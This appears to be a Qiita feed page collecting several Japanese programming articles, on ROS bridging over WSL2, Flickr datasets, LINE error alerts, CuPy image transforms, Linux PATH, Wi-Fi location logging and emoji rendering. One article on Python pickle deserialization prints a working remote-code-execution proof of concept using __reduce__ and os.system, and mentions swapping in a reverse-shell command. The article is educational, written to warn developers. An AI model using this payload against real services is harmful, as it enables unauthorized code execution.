はじめに ROS Advent Calendar 2021の2日目の記事です! 前回の記事(【ROS/WSL2】WSL2上のROSと外部PCで通信してみたかった)でWSL2上のROSと、外部PCとのROSの通信を試みたのですが、うまくいきませんでした。 今回は、ROS Bridgeを使用することで通信することができたので紹介します! ROSノードは以下で公開しています。 超概要はこんな感じです。 これを使用すると、 - 複数マシン&複数ROS master(roscore)間の通信が可能になります。 - 任意のトピックをもう一方へpublishすることができます。 - トピック名を区別することも可能です。もちろん、そのままもできます。 例(どちらのパターンもできます): /cmd_vel => /cmd_vel /cmd_vel => /robot_a/cmd_vel 環境 以下の環境での動作を確認しています。 PC1 Jetson Nano ROS Melodic PC2 Windows10 WSL2 ROS Melodic Ubuntu 16.04では動作の確認ができていません (roslibpyのインストールが正常にできない) 環境の準備 依存関係のインストール 使用するソフトウェアは - ROS Bridge (サーバー) - ROS Bridge (Pythonクライアント) - ROSpy Message Converter (http://wiki.ros.org/rospy_message_converter) になります。 以下のコマンドでインストールします。 $ sudo apt-get install ros-<rosdistro>-rosbridge-server $ pip install roslibpy $ sudo apt-get install ros-<rosdistro>-rospy-message-converter ※WSL2を使用する場合 WSL2用の設定 WSL2を使用する場合、WindowsからWSL2上のUbuntuへポートフォワーディングの設定とファイアフォールの設定を行う必要があるため以下のコマンドを実行してください。ここではROS bridgeを9090ポートで使用する前提になります。 ポートフォワーディングの設定 $ netsh.exe interface portproxy add v4tov4 listenport=9090 connectaddress=(wsl -d Ubuntu-18.04 exec hostname -I).trimend() Firewallの設定 $ New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Outbound -LocalPort 9090 -Action Allow -Protocol TCP $ New-NetFireWallRule -DisplayName 'WSL 2 Firewall Unlock' -Direction Inbound -LocalPort 9090 -Action Allow -Protocol TCP 起動 ここで起動方法を紹介するROSノードは、デフォルトでは起動時にrostopic listで確認できるすべてのトピックをブリッジします。 もちろん除外するトピックの指定や、特定のトピックのみをブリッジすることも可能です。 ROS bridgeのWebsocketサーバを起動しておきましょう 複数マシンで試す際はどちらのマシンでも起動してください。 $ roslaunch rosbridge_server rosbridge_websocket.launch ※確認のため、例えばカメを動かしたい場合はこのタイミングで起動しておきます。 PC1でカメのシミュレーションを起動 $ rosrun turtlesim turtlesim_node PC2でカメのTeleopを起動 $ rosrun turtlesim turtle_teleop_key 起動方法 詳細は後述しますが起動方法です。ローカルでsubscribeし、publishさせたい方(ブリッジさせたい方)のみの起動で動作の確認はできます。 起動時のパラメータも以下にまとめます。リモートのホストのIPアドレスを入力するremote_hostを変更することで外部のPCへ接続します。他のパラメータは必要に応じて変更してください。 $ roslaunch ros_to_rosbridge rosbridge_to_rosbridge.launch remote_host:={remote PC ip address} パラメータ名 デフォルト 説明 local_host 127.0.0.1 ローカルのWebsocketサーバが起動しているのIPアドレス local_port 9090 ローカルのWebsocketサーバが起動しているポート remote_host 127.0.0.1 リモートのWebsocketサーバが起動しているIPアドレス(※多くの場合は要変更) remote_port 9090 リモートのWebsocketサーバが起動しているのポート use_id_for_ns false confファイルのidをトピックにつけるか否か(/cmd_velトピックが、/id/cmd_velのようになります。) 設定ファイル ros_to_rosbridge/confフォルダにブリッジするトピックなどの設定ファイルがあります。 デフォルトは以下のようになっています。 /turtle1/*のように、ワイルドカードの指定も可能です。 include_topicsでトピックを指定すると、そのトピックのみブリッジします。 ros_to_rosbridge/conf/config.yaml id : robot_a exclude_topics: - /rosout - /rosout_agg - /client_count - /connected_clients # - /turtle1/* include_topics: # - name : /cmd_vel # type : geometry_msgs/Twist # - name : /odom # type : nav_msgs/Odometry 項目 説明 id ブリッジ先のトピック名冒頭につけるid exclude_topics ブリッジが除外されるトピック include_topics ブリッジされるトピック(トピック名とデータ型) ROSノードの概要 実は今回は、2種類の方法で実装してみました。 ↑の起動は1の方です。2はGitHubのここにひっそりとあります。 1. ローカルのROS bridge から リモートのROS Bridgeへ 2. ローカルのROSの通信からリモートのROS bridgeへ メリット(特徴)とデメリットは以下だと思っています。 # メリット(特徴) デメリット 1 コード内でメッセージ型を呼び出さずに実装できる ローカルの通信でもわざわざwebsocket通信を使う 2 ローカル通信はROS メッセージ型はハードコーディングになる 以下にイメージ図を示します。赤い資格で囲まれたROSノードが今回紹介しているノードです。 1のイメージは以下になります。 2のイメージは以下になります。赤矢印部分が1と異なる部分です。 WSL2上のROSと通信する このシステムは、WSL2上のROSでも使用することができます。 というかそれがやりたくて色々探していたら思っていたより大きめなシステムになってしまいました。 ポートフォワーディングの設定をすることで、以下のように通信することができます。 おそらく9090番という特定のポートだけを開ければよかったので通信が実現できたのではないかと思います。 おわりに なんとか目指していたシステムを作ることができました! GitHubにちゃんと上げて公開するのは初めてです。何もないかもしれませんが覗くだけでも覗いていってくれたらうれしいです。 LGTMなども励みになります!最後までご覧いただきありがとうございました。 参考
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Flickr APIを使って画像を収集し機械学習用のデータセットを自作する

やること Flickrから画像を収集して動物の画像データセットを作成する。 10カテゴリー snake, horse, monkey, rhinoceros, elephant, fox, dog, cat, reindeer, zebra 各1000枚ずつ合計1万枚 Flickrとは 写真の共有を目的としたWebサイト。タグやキーワードで検索が可能 https://www.flickr.com/explore 利用ツール google colab 本記事で使用しているすべてのコードは以下のNotebookに記載 flickr API こちらからAPI keyを取得しておく必要があります 取得理由を求められますが特に審査とかはしてないようですぐ取得できました。 収集できた画像 収集した各カテゴリに属する画像をランダムにピックアップしてプロットした結果 トナカイ(reindeer)の収集結果が少し悪く関係ない画像が集まってしまってますがそれ以外の動物に関してはデータセットとしてかなりいいものができたのではないでしょうか。 おわりに よかったらLGTM、ストックよろしくお願いいたします。モチベが上がります 記事中によくわからないところがあればコメントいただければなるはやで返信、記事再編集します 需要があれば今回作成したデータセットを用いて画像分類・生成を行う記事なども作成するかも 画像サイズの統一などの前処理、データオーギュメンテーションなども必要ですね 新しい記事を出す際などはツイッターでも通知しますのでよかったら下記からフォローお願いいたします。 https://twitter.com/JuFi969696
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Pythonの例外処理のエラー内容をLINEに通知する方法

我が家ではRaspberry Piを常時起動してPythonでTwitterのBotを運用したりしています。 問題となるのは、突然のPythonの例外処理などのエラーでコードが正常に実行できなかったときに、それを瞬時に知る手段がないことです。 そのため、我が家ではエラーが起きた瞬間にLINEに通知ようにしています。 例えばhoge.pyが以下のようなコードであったとします。 hoge.py print(hoge) エラーは以下のように出ます。 Traceback (most recent call last): File "hoge.py", line 1, in <module> print(hoge) NameError: name 'hoge' is not defined これがLINEに通知されるようにします。 実装 まずhoge.pyを以下のようにします。 hoge.py import sys import error_traceback try: print(hoge) except Exception: error_traceback.send(sys, __file__) 例外処理が起きたときに通知してほしい箇所(今回ではprint(hoge))をtry・except文で囲います。 tryの中で起きた例外処理をexceptでキャッチし、予めインポートしたerror_tracebackというライブラリにsysデータと__file__でファイル名を渡します。 そして、error_traceback.pyというライブラリを作成します。これをPythonのライブラリに入れたり、hoge.pyと同じディレクトリに入れます。 error_traceback.py import os from line_notify import LineNotify def get(sys, file): exc_type, exc_msg, exc_tb = sys.exc_info() error_type = exc_type.__name__ error_message = str(exc_msg) error_lineno = exc_tb.tb_lineno file_name = os.path.basename(file) with open(file) as f: error_pos = f.readlines()[error_lineno - 1].rstrip() return f'\nTraceback (most recent call last):\n File "{file_name}", line {error_lineno}, in <module>\n{error_pos}\n{error_type}: {error_message}' def send(*args): error_message = get(*args) print(error_message) ACCESS_TOKEN = ###ここにアクセストークン### notify = LineNotify(ACCESS_TOKEN) notify.send(error_message) なお、pypiからline_notifyをインストールしておく必要があります。 pip install line_notify LINE通知を使用するためのアクセストークンも必要ですが、これは調べればいくらでも載ってるので各自で調べてください。 結果 これでhoge.pyを実行すると、以下のようにLINEに通知が来ます。 これで、Rasbperry Piに何らかのエラーが起きてもすぐにどんなエラーが起きたか確認できます。 注意点 エラー内容を知らせることができますが、そのファイルでのエラー箇所しかわからないので、別にインポートしたライブラリの中にエラーがあったとしてもどこが問題なのかはわかりません。 応用 今回はLINEで知らせるようにしましたが、メールで知らせたり、Twitterでツイートにするようにしたりもできますね。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

CuPy を使った画像の幾何学変換 with OpenCV

はじめに 魚眼カメラで撮影した等距離射影方式の画像を,普通のカメラの中心射影方式のへの変換をするなどの,画像を幾何学的変換することがあります。僕は研究で,中央付近を大きく,外側を小さくする変換をするために使いました。 ここでは,等距離射影方式の画像を中心射影方式の画像に変換する場合を取り上げ,紹介していきます。 なぜ CuPy を使うのか CuPy は NumPy と互換性を持つ NVIDIA の GPU で動作することのできるライブラリです。幾何学変換は大量の画素を移動させるので,安直なループで実装すると処理時間が長いです。なので,GPU を使って並列化しようということです。 実装 作成したコード等は ここ にあります。 import 今回は画像を扱うライブラリに OpenCV を使います。import するのはこの 2 つだけです。 import cv2 import cupy as cp ElementwiseKernel CuPy で並列化を行うには ElementwiseKernel で簡単に実装できます。詳しくは CuPyのElementwiseKernelで楽にGPUの恩恵を受ける で詳しく説明されています。 入力を変換前の画像 img1 とそのサイズ size1 と変換後のサイズ size2,出力を変換後の画像 img2 としています。ここでは簡単にするため入出力する画像は正方形を前提にします。 5 ~ 10 行目では,変換前後の画素の関係を計算しています。計算式については説明を省きます。 11 ~ 13 行目で変換後の画像に画素情報を格納しています。入力画像は RGB の 3 色あるのでこうなっています。変換後の i1 には,変換前の i2, j2 にある画素を格納することになります。 trans_kernel = cp.ElementwiseKernel( in_params='raw uint8 img1, int16 size1, int16 size2', out_params='raw uint8 img2', operation=''' float x = (i % size2) - (size2 / 2.0) + 0.5; float y = (i / size2) - (size2 / 2.0) + 0.5; float ang1 = sqrt(float(x * x + y * y)); float ang2 = 800 * atan(ang1 / 784); // Magic number: 800, 784 int j2 = (ang2 * x / ang1) + (size1 / 2); int i2 = (ang2 * y / ang1) + (size1 / 2); img2[i * 3 + 0] = img1[(i2 * size1 + j2)*3 + 0]; img2[i * 3 + 1] = img1[(i2 * size1 + j2)*3 + 1]; img2[i * 3 + 2] = img1[(i2 * size1 + j2)*3 + 2]; ''', name='trans_kernel' ) 入出力 1,2 行目では imread で読み込んだ画像 img1 を CuPy の配列に変換しています。3 行目では変換後の画像を格納するための空の画像 img2_cp を生成しています。 5 行目では,trans_kernel を呼び出し,GPU を使って並列処理をして変換します。 7,8 行目で img2_cp を OpenCV で扱える NumPy 形式に変換し,出力します。 img1 = cv2.imread('img1.png') img1_cp = cp.asarray(img1).astype(cp.uint8) img2_cp = cp.zeros((1920, 1920, 3)).astype(cp.uint8) trans_kernel(img1_cp, img1.shape[1], 1920, img2_cp, size=(1920 * 1920)) img2 = cp.asnumpy(img2_cp) cv2.imwrite('img2.png', img2) 結果 結果は次のようになりました。 魚眼画像 補正後 文献 geometric-transformation (GitHub) CuPyのElementwiseKernelで楽にGPUの恩恵を受ける (Qiita) i は 2 次元を 1 次元に変えた状態の座標なので,2 次元で表すと i/size2, i%size2 となります。 ↩
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Linuxの構造を理解すれば、環境PATHの通し方が理解できる

まえがき どのプログラミング言語も、言語の中のライブラリでも、インストールしてから使うまでが実はしんどいということに共感してくれる方も少なくないと信じています。 ターミナルで「jupyter notebook」や「python」コマンドを使うには、環境変数であるPATHにこれらのコマンドを通す必要があります。 しかし、自分はいつもサイトなどで調べて闇雲にコピペして、通れば「っしゃぁ!」って感じで早速コードの学習とかしてきました。 初心者や初学者であればいちいち環境変数の通し方とか学ぶより、実践的なハンズオンをすればいいと思うので、わざわざ知らなくてもいいとは思います。 しかし、何事もちゃんと意味があって動作するのがコンピュータやインターネットであるため、 「どういうことをしているのか?」を知ることは無駄にはならないと思っています。 今回は自分の中である種の原点を探るような感覚だった「PATH」を通す過程の意味するところ、を書いていこうと思います。 ※ちなみに今回はlinuxを対象としているため、windowsなどはその限りではない、ということは御了承下さい。。。 そもそもLinuxのディレクトリ構造を理解しているだろうか? 自分はシステム関係などをまっったく学習せずpythonなどを扱ってきたり、for文・if文などを学習してきた人です。 なので、時たま出てくるディレクトリの「/var/~」やら「/opt/~」などに気にせず、 「そういうディレクトリがこのPCあるんだ〜」程度の認識で進めてました。 (別に悪いとは思いませんが笑) Linuxの学習(LinuCとか)をしていると、実はそれぞれのディレクトリには目的があって構成されていることを知りました。 (仮想環境ではLV(論理ボリューム)などでひとまとめにして自分でパーティションを作成したりはできる) 代表的なものをざっとまず紹介します(後ほど出てくるものも出てこないものもあるので、一旦読み飛ばしてもらってもOKです。) / (root) もっとも最上の階層にあるディレクトリ。 全てのディレクトリはここから始まる。 注意すべきは、rootユーザーと自分のホームディレクトリは違う、という点です。 ちょっと見てみましょう (仮想環境でubuntuを起動しています。windowsユーザーなどはvirtual boxやdockerのコンテナ上でお試しいただければ) 一般ユーザ root ちゃんと違いますね。 もし、例えばrootユーザで自分(画像で言えば「ubuntu」という名前のユーザ)のホームディレクトリを見たい時は以下 cd ~ユーザ名; pwd とかでいけます /bin 一般ユーザ用のコマンドを格納しているディレクトリです。 ずっとbinてなんの略なんかな?って思ってたんですが、binaryの略(っぽい)です。 おそらくちょっと学習してきた方は/binディレクトリは見たことあると思います。 例えばお馴染みmkdirがどこにあるかをwhereisコマンドで見てみると、 ※「whereis コマンド」でコマンド本体のライブラリやソースファイルのパスを参照できるコマンドです。 (/binディレクトリはシステム起動に必要なディレクトリであり、ルートパーティションから分割できないです。) /sbin システム管理者用のコマンドを格納しているディレクトリです。 普段はあまり見かけないかなと思います。 いわゆるshutdown・rebootコマンドなどはここに格納されています。 (/sbinディレクトリはシステム起動に必要なディレクトリであり、ルートパーティションから分割できないです。) /etc 個人的には「エトセトラ」感はないんですが、エトセトラ。 システムの設定ファイルを格納しているディレクトリです。 .confファイルなどが格納されています。 (/etcディレクトリはシステム起動に必要なディレクトリであり、ルートパーティションから分割できないです。) /lib 共有ライブラリを格納しています。 実はpythonとかsystemdとかここにある。 (厳密に言えば、ここのpythonからコマンドの「python」を参照しているわけではない。) (/libディレクトリはシステム起動に必要なディレクトリであり、ルートパーティションから分割できないです。) /dev デバイスファイルを格納しています。 おそらくパーティションの作成とか・外部機器を使う以外に触れることはない。 (/devディレクトリはシステム起動に必要なディレクトリであり、ルートパーティションから分割できないです。) /home 一般ユーザのホームディレクトリ 一つのユーザしかいない場合はユーザ名のディレクトリが一つ存在している。 複数いればその数だけディレクトリが下にある ルートパーティションから分割可能。 /usr システム起動には不要なプログラムなどを格納 さきほどmkdirは/bin/mkdirにあることを確認しましたが、実はおなじみのtouchやgrepコマンドは/binディレクトリではなく、/usr/binディレクトリの方に格納されている。 (わざわざ覚えなくても十分生きていけます。) /binにあるコマンドのように必須でないコマンドをたくさん格納しているため、読み込みが頻繁に発生する。 ルートパーティションから分割可能。 /var variableの略。 ログファイルなどの可変ファイルを格納 ときどき見かけるようなディレクトリのイメージが個人的にある。 ルートパーティションから分割可能。 /opt 追加でインストールしたパッケージを格納 (基本的にインストールしたものが招かれる応接室) たくさんインストールするとここがパンパンになりがち。 ルートパーティションから分割可能。 /boot linuxカーネルなどの起動に必須のファイルを格納 ちなみに自分の/optにはhomebrew とかあったので覗いてみるとDockerfileなどもありました。 ルートパーティションから分割可能。 /tmp 一時ファイルの格納。 ほぼ見ない ルートパーティションから分割可能。 「jupyter lab」コマンドのpathを通す過程をdockerfileでなぞる 以前たしかここでDockerfileでmecabとかsumyのセットアップする、みたいな記事を書いた気がしますが、Dockerfile のように環境構築時にすぐにjupyter labをコマンドとして使うためにはPATHを通す必要があります。 FROM ubuntu:latest RUN apt update && apt install -y \ curl \ file \ git \ libmecab-dev \ make \ mecab \ mecab-ipadic-utf8 \ sudo \ wget \ vim \ xz-utils # install anaconda3 you can change the version if you want to WORKDIR /opt RUN wget https://repo.anaconda.com/archive/Anaconda3-2021.05-Linux-x86_64.sh && \ sh Anaconda3-2021.05-Linux-x86_64.sh -b -p /opt/anaconda3 && \ rm -f Anaconda3-2021.05-Linux-x86_64.sh ENV PATH=/opt/anaconda3/bin:$PATH RUN pip install --upgrade pip && \ pip install mecab-python3 && \ pip install mojimoji && \ pip install unidic-lite WORKDIR / # get the ipadic-neologd RUN git clone --depth 1 https://github.com/neologd/mecab-ipadic-neologd.git && \ echo yes | mecab-ipadic-neologd/bin/install-mecab-ipadic-neologd -n -a CMD ["jupyter", "lab", "--ip=0.0.0.0", "--allow-root", "--LabApp.token=''"] そのときにPATHを通すと言ってもいつもサイトを見ながらしていますが、このディレクトリ構造を理解すれば、(なんとなく)何をしていたのか?を理解できるのかなと思います。 若干ローカル環境とは違いますが、やっていることは同じなので、見ていきます。 該当箇所は以下 WORKDIR /opt RUN wget https://repo.anaconda.com/archive/Anaconda3-2021.05-Linux-x86_64.sh && \ sh Anaconda3-2021.05-Linux-x86_64.sh -b -p /opt/anaconda3 && \ rm -f Anaconda3-2021.05-Linux-x86_64.sh ENV PATH=/opt/anaconda3/bin:$PATH 先程のように一時的なインストールは基本的に/optディレクトリでおこなうため、WORKDIRで場所を移動します。 その次に、wgetでソースを取得し、shコマンドを起動やらなんやらしています。 最後にENVコマンド(exportみたいなやつ)で、起動するために必要なコマンドが格納されている/bin(=/opt/anaconda3/bin)に「jupyter lab」コマンドがあるためこれを環境変数として設定して完了! 終わり サラッとした解説だったかもしれないですが、闇雲にPATHを通していたあの頃と違って、 ちゃんと何をしているからコマンドが使えるのか? を説明してきました。 linuxの学習は(自分は)かなり最初はとっつきにくく、華やかなコーディングや結果もでないのですが、やはりコンピュータを扱う上で大切な概念だと感じてきています。 ま、興味あればぜひ〜 今回参考にさせていただいた記事 ディレクトリ構造 Linuxディレクトリ構造
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

リモート時代の「今どこにいるの?」をpythonで

この記事は NTTテクノクロス Advent Calendar 2021の2日目の記事です。 こんにちは。安田と申します! NTTテクノクロスでAI関連の新製品創出を担当しています。 (例えば、こういうの → BizFront/SmartUI Decision Manager) さて、本記事では、pythonで「今どこにいるの?」をロギングする方法を見ていきたいと思います。コロナ禍以降になって、会社オフィスだけでなく、自宅も働く場所になってきました。出社と在宅が混在するようになると、「そういえば先週の火曜日って、どこで働いていたっけ?」って、良く分からなくなります。そこで、私なりの工夫として、肌身離さず持ち歩いているノートPCがその日はどこにあったのかをログに残すことにしています。 原理(どうして居場所がわかるの?) ノートPCがそのときに掴んでいるWifiのSSIDとBSSIDの情報を取得できれば、どこにいるのかは分かると思います。 SSID = Wifiのネットワークの名前 BSSID = アクセスポイントの識別子(たいていはMacアドレス) SSIDが同じだとしても、アクセスポイントが異なればBSSIDは異なるはずです。 そして、掴んでいるWifiのSSIDやBSSIDはnetshコマンドで調べることができます。 netsh wlan show interfaces ソースコード pythonで書きました。実際にはこれをpyinstallerでexe化してWindowsPCのスタートアップに入れて常に動かしてログを残しています。 main.py import os from subprocess import PIPE import subprocess import datetime # Const LOC_LOG_PATH = '../logs/log/' LOC_LOG_FILENAME = 'loc.csv' DIFF_JST_FROM_UTC = 9 # Opening Message print('WIFIのSSID及びBSSIDの検出を開始します。') loginName = os.getlogin() prevSsidBssid = '' nowSsidBssid = '' while True: # SSID 及び BSSIDの取得 proc = subprocess.run("netsh wlan show interfaces", shell=True, stdout=PIPE, stderr=PIPE, text=True) datalist = proc.stdout.split('\n') ssid = '' bssid = '' for data in datalist : if data.find(' SSID') == 0: ssid = data[data.find(':')+2:len(data)] elif data.find(' BSSID') == 0: bssid = data[data.find(':')+2:len(data)] if (ssid == '') or (bssid == ''): ssid_bssid = 'no wifi' else: ssid_bssid = ssid + '/'+bssid now = datetime.datetime.utcnow() + datetime.timedelta(hours=DIFF_JST_FROM_UTC) nowDate = now.strftime('%Y%m%d') nowTimestamp = now.strftime('%Y/%m/%d %H:%M:%S') nowSsidBssid = ssid_bssid if (nowSsidBssid != prevSsidBssid): line = loginName\ + ', ' + nowTimestamp + ', ' + nowSsidBssid fileObject = open(LOC_LOG_PATH+str(nowDate)+LOC_LOG_FILENAME, 'a', encoding = 'shift_jis') # そのままエクセルで分析できるようにsjis fileObject.write(line + '\n') fileObject.close() print(line) prevSsidBssid = nowSsidBssid おわりに pythonって、色々できて面白いですよね。それでは、NTTテクノクロス Advent Calendar 2021 の3日目も、引き続きお楽しみください!
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PythonのPickleにおける脆弱性

概要 最近ペネトレーションテストの業務をしている時に、Pickleの脆弱性によってRCE(リモートコード実行)が引き起こされていることを発見しました。 新しい脆弱性でもなんでもなく、割と昔からある脆弱性なのですが意外と見逃しやすいのかなと思って記事を書くことにしました。 今回はPickleの基本的な使い方から、脆弱性への攻撃方法まで紹介します。 *本記事は教育目的で書かれています。許可を得ていない対象へのハッキングは犯罪です。 参考 用語解説 Pickle:Pythonオブジェクトの直列化および直列化されたオブジェクトの復元のためのモジュール。 シリアライゼーション(直列化):(Pythonにおいては)Pythonオブジェクトをバイト列に変えること。Pythonoオブジェクトを保存する際によく使用される。 デシリアライゼーション:シリアライゼーションの逆。 Pickleの使い方 Pickleの使い方はとてもシンプルです。簡単な例を見てみましょう。 import pickle pickle.dumps(['i', 'am', 'elliot','alderson', 1]) 今回の例ではシンプルなリストをPickle化しています。 Pickle化されたバイト列はこのようになっています。 b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01i\x94\x8c\x02am\x94\x8c\x06elliot\x94\x8c\x08alderson\x94K\x01e.' よく見てみると、先程のリストの中にあったバリューが見えますね。 一見なんだか分からないと思いますが、実はちゃんと意味がある形になっています。 そもそもPickleとは Pickleとは仮想Pickleマシンのためのプログラムです。Pickleとは連続したオペコードであり、Pickleマシンにより解釈され、任意の複雑なPythonオブジェクトを実行します。 つまりpickle.dumps()によってPickle化されたバイト列はオペコードを含んでいて、pickle.loads()によって非Pickle化された時にそのオペコートが1つ1つ実行されるということです。 非Pickle化する時に、元に戻すためのインストラクションが必要ということです。 それを確認するために、逆アセンブリも出来ます。 興味ある人は見てみてください。 >>> import pickle >>> import pickletools >>> pickled = pickle.dumps(['i', 'am', 'elliot','alderson', 1]) >>> pickletools.dis(pickled) 0: \x80 PROTO 4 2: \x95 FRAME 36 11: ] EMPTY_LIST 12: \x94 MEMOIZE (as 0) 13: ( MARK 14: \x8c SHORT_BINUNICODE 'i' 17: \x94 MEMOIZE (as 1) 18: \x8c SHORT_BINUNICODE 'am' 22: \x94 MEMOIZE (as 2) 23: \x8c SHORT_BINUNICODE 'elliot' 31: \x94 MEMOIZE (as 3) 32: \x8c SHORT_BINUNICODE 'alderson' 42: \x94 MEMOIZE (as 4) 43: K BININT1 1 45: e APPENDS (MARK at 13) 46: . STOP highest protocol among opcodes = 4 もちろん非Pickle化をすると元のオブジェクトが返ってきます。 import pickle pickle.loads(b'\x80\x04\x95$\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01i\x94\x8c\x02am\x94\x8c\x06elliot\x94\x8c\x08alderson\x94K\x01e.') ['i', 'am', 'elliot', 'alderson', 1] Pickleの説明についてはこれくらいにしましょう。 脆弱性 ではPickleの脆弱性について話しましょう。 Pickleの脆弱性は非Pickle化をする時におこります。 pickle.loads() 一体何が危険なのでしょうか。 基本的にpickle.loads()を使う時は、データを読み込みたいまたは、通信に使いたいという場面が多いでしょう。(多分) 非Pickle化するデータを自分以外の人がコントロールできないなら問題はありません。 問題は、第三者や攻撃者が任意のデータを送信し、非Pickle化できる状況です。 ではどのようにRCE出来るのか、reduce methodを使った方法をお見せします。 reduce method 早速エクスプロイトコードを見てみましょう。 import pickle import os class Exploit: def __reduce__(self): cmd = ('whoami > /tmp/whoami.txt') return os.system, (cmd,) pickled_data = pickle.dumps(Exploit()) 変数pickled_dataのバリューがpickle.loads()されるとRCE出来ます。 pickle.loads(b'\x80\x04\x950\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x18whoami > /tmp/whoami.txt\x94\x85\x94R\x94.) #ターゲットのマシン上でこのコマンドが実行されると考えてください 今回実行したコマンドは、whoamiですが、本来であればここにリバースシェルを取るためのコマンドなどがくるでしょう。 なぜこのコードがRCEを引き起こすのでしょうか。 pickle.loads()はデシリアライズする対象クラスのreduce関数から返される関数と引数のペアを実行します。それによって、reduce関数をオーバーロードすると任意の関数やコマンドを実行させることができるのです。 この様に簡単にRCEできてしまいます。 最後に そもそもPickleを使う際は、信頼できないデータを非Pickle化してはいけないということは常識で、公式ドキュメントにも記載されています。 あまり詳しくないのですが、基本的にPickleの代わりにJsonを使えばいいのではないかと思っています。Pickleでしか解決できないようなシチュエーションもあるかもしれないので、何とも言えませんが。 とにかくPickleを使う際は、第三者や攻撃者が任意のデータを送れる状況になっていないか、または送信できるデータをチェックする等の対策が必要不可欠です。 この記事が皆さんのお役に立てれば嬉しいです。最後まで読んでくださってありがとうございました。 質問がある方は是非コメントしてください?
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Python】写真を絵文字に変換する

はじめに この記事はNTTドコモ R&D Advent Calendar 2021の6日目の記事です。 画像を表示したいけどビューアーが無い... コンソール上でどうしても画像を確認したい... そんな事態にも対処するため、メモ帳からでも見られるようにUnicode絵文字で画像を表現するプログラムを作ってみます。 使用例:絵文字クイズを出す これは何の画像を絵文字化したものでしょうか?とある有名な画像です。 答えは本記事の一番下です。 実現方法 下記の2工程で実現出来そうです。 画像に対して物体検出を行い、どこに・何が写っているかの情報を取得する 検出された各物体に対し、座標に対応する位置に絵文字を配置する 前準備 今回、物体検出はCOCOというデータセットで学習されたモデルを用いました。 こちらは人間、車、犬など80クラスの物体にラベル付与されたデータセットのため、この80種類が画像から検出可能な物体の一覧となります。 (参考:COCOのクラス一覧) どの物体をどの絵文字に対応させるべきか?そもそも対応する絵文字がない物体もあるのでは?という点は事前に検討が必要です。 結論を書くと、70種類のクラスについては似た絵文字が見つかったので下記のような変換テーブルを作成しました。 ※環境によっては絵文字が表示されない可能性があります。 COCOクラス名 Unicode絵文字 COCOクラス名 Unicode絵文字 person ? bicycle ? car ? motorcycle ? airplane ✈ bus ? train ? truck ? boat ? trafficlight ? stopsign ? bench ? bird ? cat ? dog ? horse ? sheep ? cow ? elephant ? bear ? zebra ? giraffe ? backpack ? umbrella ☂ handbag ? tie ? suitcase ? frisbee ? skis ? snowboard ? sportsball ⚾ kite ? baseballbat ? baseballglove ? skateboard ? surfboard ? tennisracket ? bottle ? wineglass ? cup ? fork ? knife ? spoon ? bowl ? banana ? apple ? sandwich ? orange ? broccoli ? carrot ? hotdog ? pizza ? donut ? cake ? chair ? couch ? bed ? toilet ? tv ? laptop ? mouse ? remote ? keyboard ⌨ cellphone ? microwave ? book ? clock ⏰ vase ⛲ scissors ✂ teddybear ? Unicode絵文字は全部で1000個以上、派生も合わせると5000個以上あるため、目視での紐付けは非現実的でした。今回は下記のような方法でテーブルを作成しています。目視修正で明らかにおかしなものは除いたため、80クラス中70クラスとなっています。 COCOのクラス名、絵文字の名称(例えば?なら「THUMBS UP SIGN」)の2つをWord2vecでベクトル化 COCOの各クラスに対して、最もベクトルの向きが近い絵文字を特定して紐付ける 半自動な方法ですが、表を見てみると概ね正しい対応が出来ていそうです。mouseがPCのマウスでなくネズミになってしまっているくらいでしょうか。 実装 下記の実装となりました。100行弱。 上記のCOCOクラス名と絵文字の対応ファイルを下記のように作成し、同フォルダに置いています(dic_emoji.txt)。 各行が「COCOクラス名, 絵文字名称, Unicode絵文字, 類似度スコア」の4列のcsv。使っているのは1列目と3列目のみなので、2列目と4列目は空でも良いです。 物体検出はOpenCVからMobileNet-SSD v2(Tensorflowで学習済みモデル)を読み込んで推論しています。もっと精度の良いモデルは近年大量にありますが、今回の用途ではそれほど精度は必要ないですし、軽量さを重視しました。 OpenCVから他フレームワークのモデルを読み込んで推論する方法はOpenCVのチュートリアルを参考にしました。より高精度を求める場合は、こちらのチュートリアルでも使われているyolov3のモデルを用いるのが良いです。 学習済みモデルはこちらから取得しました。pbファイル、pbtxtファイルを./models配下に配置しています。 つまりフォルダ構成はこんな感じです。 ├ image2emoji.py ├ dic_emoji.txt └ models ├ frozen_inference_graph.pb └ ssd_mobilenet_v2_coco_2018_03_29.pbtxt import math import sys import cv2 H_SIZE = 5 # 出力の縦幅 W_SIZE = 6 # 出力の横幅 TH_DETECT = 0.1 # 物体検出のスコアしきい値 CLASS_NAMES = {0: 'background', 1: 'person', 2: 'bicycle', 3: 'car', 4: 'motorcycle', 5: 'airplane', 6: 'bus', 7: 'train', 8: 'truck', 9: 'boat', 10: 'trafficlight', 11: 'firehydrant', 13: 'stopsign', 14: 'parkingmeter', 15: 'bench', 16: 'bird', 17: 'cat', 18: 'dog', 19: 'horse', 20: 'sheep', 21: 'cow', 22: 'elephant', 23: 'bear', 24: 'zebra', 25: 'giraffe', 27: 'backpack', 28: 'umbrella', 31: 'handbag', 32: 'tie', 33: 'suitcase', 34: 'frisbee', 35: 'skis', 36: 'snowboard', 37: 'sportsball', 38: 'kite', 39: 'baseballbat', 40: 'baseballglove', 41: 'skateboard', 42: 'surfboard', 43: 'tennisracket', 44: 'bottle', 46: 'wineglass', 47: 'cup', 48: 'fork', 49: 'knife', 50: 'spoon', 51: 'bowl', 52: 'banana', 53: 'apple', 54: 'sandwich', 55: 'orange', 56: 'broccoli', 57: 'carrot', 58: 'hotdog', 59: 'pizza', 60: 'donut', 61: 'cake', 62: 'chair', 63: 'couch', 64: 'pottedplant', 65: 'bed', 67: 'diningtable', 70: 'toilet', 72: 'tv', 73: 'laptop', 74: 'mouse', 75: 'remote', 76: 'keyboard', 77: 'cellphone', 78: 'microwave', 79: 'oven', 80: 'toaster', 81: 